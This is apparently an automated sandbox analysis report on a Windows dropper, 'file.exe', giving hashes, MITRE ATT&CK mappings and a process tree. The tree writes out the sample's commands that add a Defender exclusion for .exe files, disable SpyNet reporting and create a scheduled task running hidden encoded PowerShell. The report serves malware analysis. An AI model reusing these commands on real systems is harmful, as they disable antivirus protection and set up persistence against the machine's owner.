94554e1b98b18ba4acb922c60cc15599f2d26e3f5e26f2a33e50b63d72c5003e

Analysis

max time kernel
13s
max time network
10s
platform
windows10-2004_x64
resource
win10v2004-20230703-en
resource tags

arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
submitted
30/08/2023, 00:47

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General

Target

file.exe
Size

7.2MB
MD5

b9674d1bde76f639e61b00068a2c64e2
SHA1

98743bcfa8791edd6faf435b369afb966ee75f12
SHA256

94554e1b98b18ba4acb922c60cc15599f2d26e3f5e26f2a33e50b63d72c5003e
SHA512

ce66d00bd303027b56f74ea3e55ffd3077eaeed67a0fbd34185b94adc6a7ad6c8170dd7a06f29492d5248009a22445370fbc297ef2d29f488fd566e8c2f4e2bd
SSDEEP

196608:91OfcZO8H33MCSywKD3ch1RrR2A+BpFBBeoADG8zk:3OQHMlNKDMxcAkFlADG84

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
5044	Install.exe
1420	Install.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
3556	schtasks.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
212	powershell.EXE

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	212	powershell.EXE

Suspicious use of WriteProcessMemory 36 IoCs

description	pid	Process	procid_target
PID 708 wrote to memory of 5044	708	file.exe	80
PID 708 wrote to memory of 5044	708	file.exe	80
PID 708 wrote to memory of 5044	708	file.exe	80
PID 5044 wrote to memory of 1420	5044	Install.exe	82
PID 5044 wrote to memory of 1420	5044	Install.exe	82
PID 5044 wrote to memory of 1420	5044	Install.exe	82
PID 1420 wrote to memory of 524	1420	Install.exe	87
PID 1420 wrote to memory of 524	1420	Install.exe	87
PID 1420 wrote to memory of 524	1420	Install.exe	87
PID 1420 wrote to memory of 1288	1420	Install.exe	89
PID 1420 wrote to memory of 1288	1420	Install.exe	89
PID 1420 wrote to memory of 1288	1420	Install.exe	89
PID 1288 wrote to memory of 4120	1288	forfiles.exe	92
PID 1288 wrote to memory of 4120	1288	forfiles.exe	92
PID 1288 wrote to memory of 4120	1288	forfiles.exe	92
PID 524 wrote to memory of 4928	524	forfiles.exe	91
PID 524 wrote to memory of 4928	524	forfiles.exe	91
PID 524 wrote to memory of 4928	524	forfiles.exe	91
PID 4120 wrote to memory of 2140	4120	cmd.exe	94
PID 4928 wrote to memory of 3020	4928	cmd.exe	93
PID 4120 wrote to memory of 2140	4120	cmd.exe	94
PID 4120 wrote to memory of 2140	4120	cmd.exe	94
PID 4928 wrote to memory of 3020	4928	cmd.exe	93
PID 4928 wrote to memory of 3020	4928	cmd.exe	93
PID 4120 wrote to memory of 2516	4120	cmd.exe	95
PID 4120 wrote to memory of 2516	4120	cmd.exe	95
PID 4120 wrote to memory of 2516	4120	cmd.exe	95
PID 4928 wrote to memory of 4704	4928	cmd.exe	96
PID 4928 wrote to memory of 4704	4928	cmd.exe	96
PID 4928 wrote to memory of 4704	4928	cmd.exe	96
PID 1420 wrote to memory of 3556	1420	Install.exe	98
PID 1420 wrote to memory of 3556	1420	Install.exe	98
PID 1420 wrote to memory of 3556	1420	Install.exe	98
PID 1420 wrote to memory of 220	1420	Install.exe	100
PID 1420 wrote to memory of 220	1420	Install.exe	100
PID 1420 wrote to memory of 220	1420	Install.exe	100

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:708
- C:\Users\Admin\AppData\Local\Temp\7zS8C61.tmp\Install.exe
  .\Install.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:5044
- - C:\Users\Admin\AppData\Local\Temp\7zS9366.tmp\Install.exe
    .\Install.exe /QRfsdidCyDv "525403" /S
    3⤵
    - Executes dropped EXE
    - Drops file in System32 directory
    - Suspicious use of WriteProcessMemory
    PID:1420
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:524
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4928
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        6⤵
        
        PID:3020
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        6⤵
        
        PID:4704
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1288
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4120
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        6⤵
        
        PID:2140
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        6⤵
        
        PID:2516
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "gLXFCeQsE" /SC once /ST 00:17:01 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
      4⤵
      Creates scheduled task(s)
      PID:3556
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /run /I /tn "gLXFCeQsE"
      4⤵
      PID:220

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:212

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\7zS8C61.tmp\Install.exe

Filesize
6.2MB

MD5
cdcab15323430f35e4cb8b71ebe4ba5c

SHA1
95af4ad030c52757928d452dd8752ef147cd3e96

SHA256
aba7d7fbfddd990757921c232546c2052b082d243c6ed4c68bf743ee87ae1ee4

SHA512
508f8a3bac69eeada7761a708d24dc84a4e0d96306db4f6eaed769f0af1e2de634da10768707c679830833d690ebb601962b2df98921330a87b1b7d17616e5d4

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS8C61.tmp\Install.exe

Filesize
6.2MB

MD5
cdcab15323430f35e4cb8b71ebe4ba5c

SHA1
95af4ad030c52757928d452dd8752ef147cd3e96

SHA256
aba7d7fbfddd990757921c232546c2052b082d243c6ed4c68bf743ee87ae1ee4

SHA512
508f8a3bac69eeada7761a708d24dc84a4e0d96306db4f6eaed769f0af1e2de634da10768707c679830833d690ebb601962b2df98921330a87b1b7d17616e5d4

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS9366.tmp\Install.exe

Filesize
6.8MB

MD5
641acaddbad9798c346b799f85f3a85e

SHA1
a8f45092bde5d6ce89aed465dc909553341a631e

SHA256
089522920f7a9bad3970f88a86789545e7e1fe3a9aba309850b2f18270968928

SHA512
b7c79a4bbc0d5509ed2a843a920e68257fc22b4fa311145668e048cfbd22f5e238d5cd4e1eec2a1d1bd4a5497e8ad746f09f5b615fc3468bfaba9f9b5d26bc47

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tqdccsda.qs0.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/212-17-0x00007FF9CE010000-0x00007FF9CEAD1000-memory.dmp

Filesize
10.8MB

Download
memory/212-18-0x0000023F42390000-0x0000023F423A0000-memory.dmp

Filesize
64KB

Download
memory/212-29-0x0000023F42490000-0x0000023F424B2000-memory.dmp

Filesize
136KB

Download
memory/1420-11-0x0000000010000000-0x000000001059A000-memory.dmp

Filesize
5.6MB

Download
memory/1420-12-0x0000000000B20000-0x0000000002618000-memory.dmp

Filesize
27.0MB

Download
memory/1420-28-0x0000000000B20000-0x0000000002618000-memory.dmp

Filesize
27.0MB

Download